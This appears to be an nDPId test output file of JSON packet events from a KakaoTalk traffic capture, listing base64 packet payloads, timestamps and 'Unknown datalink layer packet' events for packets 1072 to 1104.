+00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1072,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1073,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":719550,"pkt_caplen":126,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG4AAEAAPxHbNAoYUrwByQGuLDhaBABaDDuAbE+oiz03WguGVRnw6O3wcxHICWJa1Z1394pFlC2FmtuYTf3W+BUnu2A6C6AI3pw0eoc9T19a+Q01qH2PTanZd2c2AP2SKdG7h+nJbOZloH\/j"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1073,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00496{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1074,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":719672,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIAAAEAAHBH9+gHJAa4KGFK8WgYoHABsUV6AbE+kiz0oWguGVRmGB29YbNIMk7LLC6JhgkJkWDt5XGcM4Z0vi4G+WrHMsqqSnw0qgR9nyethns6G4REKivqdtV7WAVUtYrcYSLqO96k5sKAS4iXU04jUronv67wmWJX1Gt+B"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1074,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00606{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1075,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":739478,"pkt_caplen":224,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":224,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANAAAEAAHRH8qgHJAa4KGFK8WgQsOAC8yamAbDIqfqyKA1SapdpQtEc+hdglF3JQTTBBhwA0T0O9ABdgOWHVjc6tBStCBz3gBnQsFTkBlimx2x6izSQM1NRPiBV+9d5IKBGQmdCfZYonmVJpOETEvEMcjRcHvyhwNLTZfWziObh1T\/2pxiHzTlvvp8ScC1LAs9uCRnITgrmWIXC6qh95Uehwu94QGwB6wRA2aUwlteJhv\/uUprs2ZcDOEAGinw17DjTG0yrCJhs8Uh09798="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1075,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00559{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1076,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":766059,"pkt_caplen":187,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":187,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKsAAEAAQBHZ9woYUrwByQGuKBxaBgCX2DWAbDIufqyZA1SapdqgIHbZfdO9XYGA4mV6vtbatEvcskP80JKYTn7YvqS\/7+D1\/m+2XoPU7Wj9d10GAX+lgtM7JfW0OwxNHNLiSPdQ+GAxl6be\/g1CXuksDgu3dUvO24c5ucHGHngn8pNQHPZ6DNuyaNxJfcnrHtbY2oD9i46KmQSibjEmjdEY1s205gRATw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1076,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00578{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1077,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":807227,"pkt_caplen":202,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":202,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALoAAEAAQBHZ6AoYUrwByQGuKBxaBgCmPIuAbDIvfqycw1SapdpQS\/nvOI+Lz+jntihVnVXpXj6ZOejl4spX+GOTvPKB+xwSbYuyrJ5a60sVL45FNE4t0NM7iuBdbxn\/S1gn0XhF9zmy1ZF1NdtV3+qsJLG9OJ2OQT06iSUhQFDpnfbpUxjDyMOMSd8pflGf6eu5pkbXjZeK8THQXxUHs8pqTk1dgEMPqnmHLR7zjq0iJF6Fsnp6CA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1077,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00613{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1078,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":811743,"pkt_caplen":229,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":229,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANUAAEAAHRH8pQHJAa4KGFK8WgQsOADB7PiAbDIrfqyNw1SapdoXlPd6KrXNOAapJZF+WY+wkr+kd86ir6bh7Y9QU9wsPvAQ+LiUeGUTvhs2Xz4KHWMZNs6zwPSbJrevz3K6CEh7g+mYJUGWvzaPP+ylSO78MlFmJarYQh4KpsTpO5eS0KQOSAQEizwkqZbP9DtImB8j7vXqY21aN2y37EqZgGIS7lJlGgeGJh6pwybvjGhdfSD0lIgwNadjJSRO\/QlLIbzZbfTF+C+FlDVA0wQ0WA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1078,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00480{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1079,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":813636,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHIAAEAAPxHbMAoYUrwByQGuLDhaBABe6VyAbE+piz07GguGVRmkjpUOv7yrbYPKySP6OsmNoQa14h4e2YZJEk85BVcFgEWFCJTEyboo8FifcFCCFvj30hxSoZfEFpOWNE9sp+isCBDUsPbSHkBD4A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1079,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1080,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":851386,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAGxH+\/AHJAa4KGFK8WgcoHQBqQFeByAAMC4ZVGcUjApy2sue2tvDaN2KXPaYSbTfXaSG+ITJBdxGS4Z7v96DyWGv1vboRBsIe1PTM7lRMYuB6d0wicOv2m8voT\/jI4qNuL+yAlVSZpvyAAAAFsvRi3qH3s9CHuQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1080,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1081,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":891547,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIAAAEAAHBH9+gHJAa4KGFK8WgYoHABsB6GAbE+liz0sGguGVRknvlAHd3LsnZl0OGErNWFIO3Tw4oBxwAZTuEwdzkNLaT\/pCaQ5XArw1Rxsdvca+NaaHLQ+EPfavF4Ax1XbpjwILYJkpLaYu8SPdtDSdcikhKblLe4ICDoa"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1081,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00539{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1082,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":902472,"pkt_caplen":173,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":173,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJ0AAEAAQBHaBQoYUrwByQGuKBxaBgCJjG6AbDIwfqygg1SapdovZVoZPSfyuxaGYo1plfVyNT0\/J6j71kTNRCCaDz5uF69gS0TC7UDwGLOmVKWHXaME4rXkoUZO1E3GIjCVJklsJ4lb0\/GGYLYi4DM6JXVORPQhW9qHjXFDg\/iy6qpBOapEVGsoqP2IG8BM4qEMo1xmZRrhk+M="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1082,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00486{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1083,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":916022,"pkt_caplen":134,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHYAAEAAPxHbLAoYUrwByQGuLDhaBABi2AeAbE+qiz0+2guGVRkhMHXd+83nxGzphFEmJ2iCj8eJnZYjc3ClFriElpS57pq+1OoeBFcXKUaX6rS1i16Dl8KTQmcionYSFOes0b\/IidJ7ML\/lXm1cduoih24="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1083,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00466{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1084,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":917456,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGgAAEAAPxHbOgoYUrwByQGuLDhaBABURhiAbE+riz1CmguGVRkbhfQ\/tA0EVh8US1vNdA0KZ7wqcF0nqADu70OI03iFBExKp6ZHF2IhQ2kzpll8\/Oud2fLXnkGa102WNniPKF0T"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1084,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00488{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1085,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":943976,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHoAAEAAQBHaKAoYUrwByQGuKBxaBgBmgqGAbDIxfqykQ1SapdolxvElye+bOUv+YktCPovN3JtjTgnrpsVyA63pReOLF1YDfcfiwGhMWrPIFLVm3fBrXKLEPhIAjkhiV7Gk97OPic2LgnGPIBWeqDI+2FSTKfJ0"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1085,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1086,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":979529,"pkt_caplen":147,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":147,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIMAAEAAHBH99wHJAa4KGFK8WgYoHABvq\/SAbE+miz0v2guGVRkwUkAi8tSMQ4XUGmGF0qjEqlTmAE83Ua3dnIIaCmBjLiub8hCqC\/DmmcJ1vwRrhFlDGU7gV17lPHX7HX7fShgav6C4D8tLMLwfVQrwQy1cjsVU2351sb5ulAR3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1086,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00475{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1087,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":982032,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG0AAEAAQBHaNQoYUrwByQGuKBxaBgBZwvSAbDIyfqyoA1Sapdqdi98JxyD7KONCTCly0\/b9LWBxi3i+EWvURoYqsildD3AD5msVd\/CX8XWsUIp6DB1CThER\/eWxTxq4zPTSB+Zv6YZnHJc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1087,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00459{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1088,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":16669,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAPxHbPwoYUrwByQGuLDhaBABPkMSAbE+siz1GWguGVRnWn3XxLO9yWvNrlJYYcI5lrQ3kmrd9Q49SsITpAlBqJ9jXD8TyWdKzEc8ucGVlTxRDiaJFW3oi7iCgcw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1088,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1089,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":16852,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABIEy2AbE+tiz1KGguGVRnklM5X4A17NwhC0pteQVPFFQ9HNaeaf28vE4FUOjqn3o1VqlPjprxCWMUtE4f9fQ0xe7rB"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1089,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00526{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1090,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":64459,"pkt_caplen":163,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":163,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJMAAEAAQBHaDwoYUrwByQGuKBxaBgB\/9\/GAbDIzfqyrw1SapdrPayCd0AcstN8VdewjNQu2Pk7cPdYiLV4NFpCcaHsc3rRNpR6xrOFrzRuYucm+K2HMNchmgwMLmcsVozMMO3DJU5lVDQSgo0EwjkkThHMnGPJo8aULSHy0zZtWCsnoy1d\/Fvd5E77XMOAXaQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1090,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00533{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1091,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":75690,"pkt_caplen":169,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":169,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJkAAEAAHRH84QHJAa4KGFK8WgQsOACF+BWAbDIsfqyRg1Sapdp3HdP0PmaFqIchJ79K0WcHDnmA5UUJLHk+EuzsrOWHiJuk32Le\/XkT7IG17byfvM4PbHfrXO\/M3wHtxRG6YJjVV1sqVahu9eTRes2PJh5ISgXKKYkooliIyaCwa4H5THgklovfdxMMCTuctsCADDce1Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1091,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00488{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1092,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":103400,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHoAAEAAQBHaKAoYUrwByQGuKBxaBgBmfLuAbDI0fqyvg1SapdoOPQ5ZVqy+04cn5eayouJwmsijt9FJzE90UJ162oNko9TZYRfOMZREdNWPXfOoIBxfyymTFYtYbh3+Qkd4kSqXnq5ChUdnlotzgvLg1MntHdDX"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1092,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1093,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":114447,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJsBmAbE+uiz1N2guGVRkkyCd9hNvO9ldjkB0Y2Ytne6UE7WOcm5ZEsaElLqbFIQve5JXKz5m4aG2on+XvI2NLgy7L8A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1093,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00553{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1094,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":119422,"pkt_caplen":184,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":184,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKgAAEAAHRH80gHJAa4KGFK8WgQsOACUI2yAbDItfqyVQ1SapdpAZySb0uAL\/lSSxxeThz2TyVYHBilqNZyInuPM+3mw9rnlgAx0B0PobstYfJI14Rv2hbSzudsh76JDQ1WrSGmPZYFzcTG9uvlEl7EWRqkvZgzKLJKMau+vAhI7RfB9clq5uhSu03PtlVmdNDmxiaSQnN5+A0dB55SNA9DN8M16NQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1094,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00512{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1095,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":171881,"pkt_caplen":151,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":151,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIcAAEAAHBH98wHJAa4KGFK8WgYoHABz53WAbE+niz0zmguGVRliY2qOrgt2uz2Eu\/s8vO9DP8qRZQSK8c7b8aL5ZCDgenFaaTh9Xv8pknolRwT5lLa8vzjeXDeDAAzSENluzdKRU\/9mTmmeqB+XU1nwilJN\/K5Yw6Gqk5gRZHwO0\/xWDQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1095,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00471{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1096,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":181342,"pkt_caplen":122,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGoAAEAAQBHaOAoYUrwByQGuKBxaBgBWNt2AbDI1fqyzQ1SapdoPt2BPUZPg0Q0FBLtyhnOd18djz\/s\/OHiFe2aP7pqtVgW8kP2v0iQg1DceXMpNbRxj\/S9f87jruA+c8RlsUi4o0qs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1096,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1097,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":199500,"pkt_caplen":126,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG4AAEAAHBH+DAHJAa4KGFK8WgYoHABaEFWAbE+oiz03WguGVRnw6O3wcxHICWJa1Z1394pFlC2FmtuYTf3W+BUnu2A6C6AI3pw0eoc9T19a+Q01qH2PTanZd2c2AP2SKdG7h+nJbOZloH\/j"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1097,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00463{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1098,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":216834,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAPxHbPwoYUrwByQGuLDhaBABPDfqAbE+viz1RmguGVRmey5dSUV\/9limRiA0J16leELRC8J8TS1iYSKPlxCEr\/Feql7HVRGD24b9b0eGNFifLftm0VzT\/iGQn7g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1098,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00493{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1099,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":218177,"pkt_caplen":137,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":137,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHkAAEAAPxHbKQoYUrwByQGuLDhaBABlCouAbE+wiz1VWguGVRlYa9K8Bqe2QwroJZ5vkyMbPfj6yQ\/\/IgRxSlxBmKyrb\/qdmSIJrBoMLJIlZE6y07u0y2Hi1RFCReofiLfva\/\/8ocb516t4r5ZgyyVY8bMIYKI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1099,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00559{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1100,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":231360,"pkt_caplen":187,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":187,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKsAAEAAHRH8zwHJAa4KGFK8WgQsOACX1BuAbDIufqyZA1SapdqgIHbZfdO9XYGA4mV6vtbatEvcskP80JKYTn7YvqS\/7+D1\/m+2XoPU7Wj9d10GAX+lgtM7JfW0OwxNHNLiSPdQ+GAxl6be\/g1CXuksDgu3dUvO24c5ucHGHngn8pNQHPZ6DNuyaNxJfcnrHtbY2oD9i46KmQSibjEmjdEY1s205gRATw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1100,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00458{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1101,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":245429,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGIAAEAAQBHaQAoYUrwByQGuKBxaBgBOWIiAbDI2fqy3A1SapdqiCYm1\/AGDKEATZwXPIsxtlHVYjhFTqhrY9Y4BCbTsHnVnMJWY+g3nOMs+oIEUOID6pI99raK\/lnmL"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1101,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00578{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1102,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":259497,"pkt_caplen":202,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":202,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALoAAEAAHRH8wAHJAa4KGFK8WgQsOACmOHGAbDIvfqycw1SapdpQS\/nvOI+Lz+jntihVnVXpXj6ZOejl4spX+GOTvPKB+xwSbYuyrJ5a60sVL45FNE4t0NM7iuBdbxn\/S1gn0XhF9zmy1ZF1NdtV3+qsJLG9OJ2OQT06iSUhQFDpnfbpUxjDyMOMSd8pflGf6eu5pkbXjZeK8THQXxUHs8pqTk1dgEMPqnmHLR7zjq0iJF6Fsnp6CA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1102,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00480{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1103,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":291449,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHIAAEAAHBH+CAHJAa4KGFK8WgYoHABe7XaAbE+piz07GguGVRmkjpUOv7yrbYPKySP6OsmNoQa14h4e2YZJEk85BVcFgEWFCJTEyboo8FifcFCCFvj30hxSoZfEFpOWNE9sp+isCBDUsPbSHkBD4A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1103,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1104,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":316504,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGIAAEAAPxHbQAoYUrwByQGuLDhaBABO3+qAbE+xiz1ZGguGVRnGpnlpGndIygWQ1BotQIoyohnQPc4BEotm+R9TtmOFXIqDgqAwKzlQzqwHbAkA6z71iPZMlxYds\/jT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1104,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 